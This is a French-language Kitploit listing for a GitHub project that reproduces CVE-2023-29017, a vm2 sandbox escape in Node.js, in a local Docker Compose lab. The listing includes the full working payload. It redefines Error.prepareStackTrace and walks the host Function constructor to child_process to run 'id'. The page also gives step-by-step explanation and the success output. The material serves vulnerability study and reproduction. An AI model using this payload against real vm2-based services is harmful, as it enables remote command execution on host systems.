Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC | Kitploit
Outils/GitHubGitHub/gunwoo105/node_cve-2023-29017
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC

Voir le dépôt
15il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-29017 | Exécution de code à distance via l'échappement du sandbox vm2

[WHS 4ème année 31ème classe] - 김건우(@gunwoo105)

Résumé de la vulnérabilité

vm2 est une bibliothèque de sandbox Node.js permettant d'exécuter du JavaScript non fiable dans un environnement restreint. Normalement, le code à l'intérieur du sandbox ne doit pas pouvoir accéder aux fonctionnalités sensibles de Node.js telles que process, require, child_process et le système de fichiers hôte.

Cependant, dans vm2 3.9.14 et versions antérieures, lorsque des erreurs asynchrones non gérées se produisent, les objets hôtes passés à Error.prepareStackTrace ne sont pas traités en toute sécurité. Un attaquant peut exploiter la chaîne de constructeurs de cet objet pour obtenir le constructeur Function du contexte hôte et l'objet process, et finalement exécuter des commandes système via child_process.

Configuration de l'environnement

Composants

ComposantVersion et configuration
Node.js18.15.0
vm23.9.14
Version corrigée3.9.15
Environnement d'exécutionDocker Compose
Utilisateur du conteneurnode
Port du service127.0.0.1:3000
Installation des paquetsnpm ci + package-lock.json

Au lieu d'utiliser une image finale vulnérable, nous construisons directement l'image à partir de l'image de base officielle Node.js et du code source inclus dans le dépôt. Le Dockerfile vérifie les versions de Node.js et vm2 ; si les versions ne correspondent pas aux attentes, la construction échoue.

RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
FichierRôle
docker-compose.ymlDéfinit la configuration et l'ordre d'exécution du service vulnérable et du conteneur PoC
DockerfileConstruit les images du service vulnérable et du PoC en mode multi-stage
vulnerable/src/server.jsFournit les endpoints /health, /execute, /evidence
vulnerable/src/worker.jsExécute l'entrée utilisateur dans vm2 dans un processus séparé
poc/poc.jsAutomatise la vérification de version, le contrôle bénin, l'attaque et la confirmation de preuve
vulnerable/package-lock.jsonFixe les versions des paquets, y compris les dépendances transitives

La raison pour laquelle worker.js est exécuté dans un processus séparé est que le PoC provoque des erreurs asynchrones non gérées. Même si le worker se termine pendant l'attaque, le serveur web continue de fonctionner, et le fichier marqueur permet de vérifier de manière fiable le succès.

Conditions de vulnérabilité

Toutes les conditions suivantes doivent être remplies.

  1. L'application utilise vm2 3.9.14 ou une version antérieure.
  2. L'attaquant peut contrôler l'entrée JavaScript à exécuter.
  3. Ce JavaScript est exécuté à l'intérieur de vm2.
  4. L'exécution de JavaScript asynchrone est autorisée.
  5. Les erreurs asynchrones non gérées atteignent le chemin de traitement de pile d'appels vulnérable.
  6. Le processus Node.js exécutant vm2 a les permissions d'exécuter des commandes système ou d'accéder aux fichiers.

Tous les services avec vm2 installé ne sont pas automatiquement exposés à une attaque à distance. Il doit exister une fonctionnalité permettant d'exécuter du code contrôlé par l'attaquant dans vm2. L'endpoint /execute de cet exercice implémente ce cas d'utilisation de manière minimale.

Le déroulement de l'attaque est le suivant :

JavaScript malveillant transmis
        │
        ▼
Erreur asynchrone non gérée déclenchée
        │
        ▼
Appel à Error.prepareStackTrace
        │
        ▼
Exposition de l'objet frames hôte
        │
        ▼
Obtention du constructeur Function hôte
        │
        ▼
process → require → child_process
        │
        ▼
Exécution de commande OS à l'intérieur du conteneur

Procédure de reproduction

Construction de l'image

docker compose build --no-cache

Construction de l'image réussie

Lancement du service vulnérable

docker compose up -d vulnerable

Vérifiez l'état du conteneur.

docker compose ps

Vérification de l'état du service et de la version

curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Vérification de l'état du service et de la version

Exécution du PoC

docker compose run --rm poc
echo "exit_code=$?"

Le PoC vérifie automatiquement les éléments suivants :

  1. Healthcheck du service vulnérable
  2. Versions de Node.js et vm2
  3. Exécution de JavaScript normal 21 * 2
  4. Vérification qu'aucun fichier marqueur n'est créé avec le code normal
  5. Envoi du payload CVE-2023-29017
  6. Vérification de la création de /tmp/vm2-pwned
  7. Vérification que le contenu du fichier contient uid=
  8. Retourne le code de sortie 0 en cas de succès, 1 en cas d'échec

Pour exécuter de la construction au PoC en une seule fois, utilisez la commande suivante :

docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Vérification du fichier de preuve

docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Arrêt de l'environnement

docker compose down -v --rmi local --remove-orphans

5. Code du PoC

Le PoC complet est inclus dans poc/poc.js. Le payload principal est le suivant :

Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Fonctionnement du code

Redéfinition de Error.prepareStackTrace

Error.prepareStackTrace = (error, frames) => {

L'attaquant redéfinit la fonction exécutée lorsque la pile d'appels d'erreur est générée.

Obtention du constructeur Function hôte

frames.constructor.constructor

Il suit la chaîne de constructeurs de l'objet frames hôte exposé par vm2 vulnérable pour accéder au constructeur Function du contexte hôte.

Obtention de l'objet process hôte

frames.constructor.constructor('return process')();

Crée et exécute une fonction qui retourne process dans le contexte hôte.

Exécution de commande système

hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Charge child_process (non fourni à l'intérieur du sandbox) et exécute la commande Linux id.

Déclenchement d'une erreur asynchrone non gérée

(async () => {}).constructor('return process')();

Fait en sorte qu'une fonction asynchrone référence process (indisponible dans le sandbox), créant ainsi une promesse rejetée qui atteint le chemin de traitement de pile d'appels vulnérable.

Résultats d'exécution

Contrôle bénin

[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Exploitation de la vulnérabilité

[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

Le PoC vérifie à nouveau la preuve stockée puis retourne l'état de succès.

[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Exécution du PoC réussie

Télécharger l’outil